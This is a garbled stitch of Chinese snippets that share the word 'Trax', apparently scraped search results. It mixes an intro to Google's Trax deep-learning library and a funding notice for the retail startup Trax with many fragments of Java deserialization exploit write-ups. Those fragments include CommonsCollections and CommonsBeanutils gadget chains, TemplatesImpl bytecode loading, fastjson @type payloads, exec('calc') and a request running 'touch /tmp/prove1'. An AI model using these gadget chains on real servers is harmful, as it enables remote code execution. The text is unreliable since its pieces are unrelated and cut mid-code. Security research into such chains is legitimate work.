这个时候,你就需要谷歌大脑维护的 Trax,它是 ML 开发者进阶高级 DL 模型的路径。 Trax 是一个开源项目,它的目的在于帮助我们挖掘并理解高一阶的深度学习模型。 什么是 Trax 简单来说,Trax 就是一个代码库,它有点类似于一个极简的深度学习框架。只不过 Trax 关注什么样的代码能让读者更好地理解模型,而不只是关注加速与优化。 使用 Trax 我们可以将 Trax 作为 Python 脚本库或者 Jupyter Notebook 的基础,也可以作为命令行工具执行。 如果读者想要了解如何快速将 Trax 作为一个库来使用,那么可以看看如下 Colab 上的入门示例。它介绍了如何生成样本数据,并连接到 Trax 中的 Transformer 模型。 Trax,那么带上参数就可以了,例如模型类型、学习率等超参。
二、利用链分析 这部分和CC2中的差不多,将恶意字节流注入到org.apache.xalan.xsltc.trax.TemplateImpl中的_bytecodes属性,等待调用TemplatesImpl import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool sun.reflect.annotation.AnnotationInvocationHandler"; // String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
, Class (java.lang) getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax ) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties :507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl ) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties :507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl
> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor } } [1.png] [2.png] [3.png] [4.png] [5.png] CC3分析 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter //反射创建TemplatesImpl类 String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer 准备 为了方便后面的每一步的代码可以让读者单独运行同时为了避免代码段重复太多我这里先给出全部的依赖和通过反射设置变量参数的函数 ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool } } TemplatesImpl.newTransformer 下面我们使用的TemplatesImpl是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool 这里再给一个模块化之后的代码: package POC_macker.CommonsBeanutils; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
0x00 利用方式 目前公开已知的poc有两个: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.tomcat.dbcp.dbcp2 代码参考 vulhub • 服务器:Windows Server 2012 r2 • jdk版本:jdk8u112 1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl "a": { "@type": "java.lang.Class", "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl " }, "b": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
newTransformer", new Class[]{}, new Object[]{}), }; 得到CC3_POC_One: 呃呃呃,其实就是使用了com.sun.org.apache.xalan.xsltc.trax.Templateslmpl com.sun.org.apache.bcel.internal.generic.LoadClass; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer serializer.unserialize(); }; } CC3_POC_End import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool 442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax )newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties: 507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl
人工智能:Trax 2月7日,图像识别初创企业Trax宣布获得1950万美元D轮融资,由南非Investec Bank领投。 Trax致力于为零售商,特别是超市提供突破性图像识别解决方案。 Trax通过图像识别技术扫描、分析货架上的产品,并结合大量的市场数据为客户提供 “实时货架分析”服务,例如价格的调整和货物的排列方式等。
.exec("calc"); } } 编译这个类得到字节码后就可以写一个简单的手动执行的POC了 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field TransformedMap版的cc1链,甚至于写成更通用的cc6链 cc6+TemplatesImpl import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 也就是找到一个构造方法调用TransformerImpl类中的newTransformer()方法的类 TrAXFilter com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter ; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl
} } 利用TemplatesImpl加载字节码 package com.naihe; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool payload.toBytecode()); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor ois.readObject(); oos.close(); } } CC3分析 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter //反射创建TemplatesImpl类 String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties public synchronized Properties newTransformer 进入CC3的动态加载恶意类环节执行恶意代码 Gadget PriorityQueue.comparator = com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl TemplatesImpl#newTransformer 注:TemplatesImpl为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl CommomsBeanutilsShiro.java package POC_macker.CBShiro; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类定义了一个内部类TransletClassLoader。 ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field 这里创建一个CommonCollections3类,利用Transformer和TransformedMap触发 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer 构造POC 模仿CC1,通过LazyMap和Proxy触发漏洞,需Java 8u71以下 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
} [8.png] 2.利用TemplatesImpl加载字节码 package com.naihe; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool payload.toBytecode()); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
传送门 论文地址: https://arxiv.org/abs/2001.04451 GitHub: https://github.com/google/trax/tree/master/trax/models
--------------------- java.lang.reflect.Method.invoke com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer CC1+CC6的杂合链,序列化后将数据留返回: package POC_macker.CCShiro; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer java.lang.reflect.Method.invoke\n" + " com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget,发送如下请求,将会执行touch/tmp/prove1 : application/json Content-Length: 1298 { "param": [ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
CC4分析 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.*; import org.apache.commons.collections4 //反射调用TemplatesImpl String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import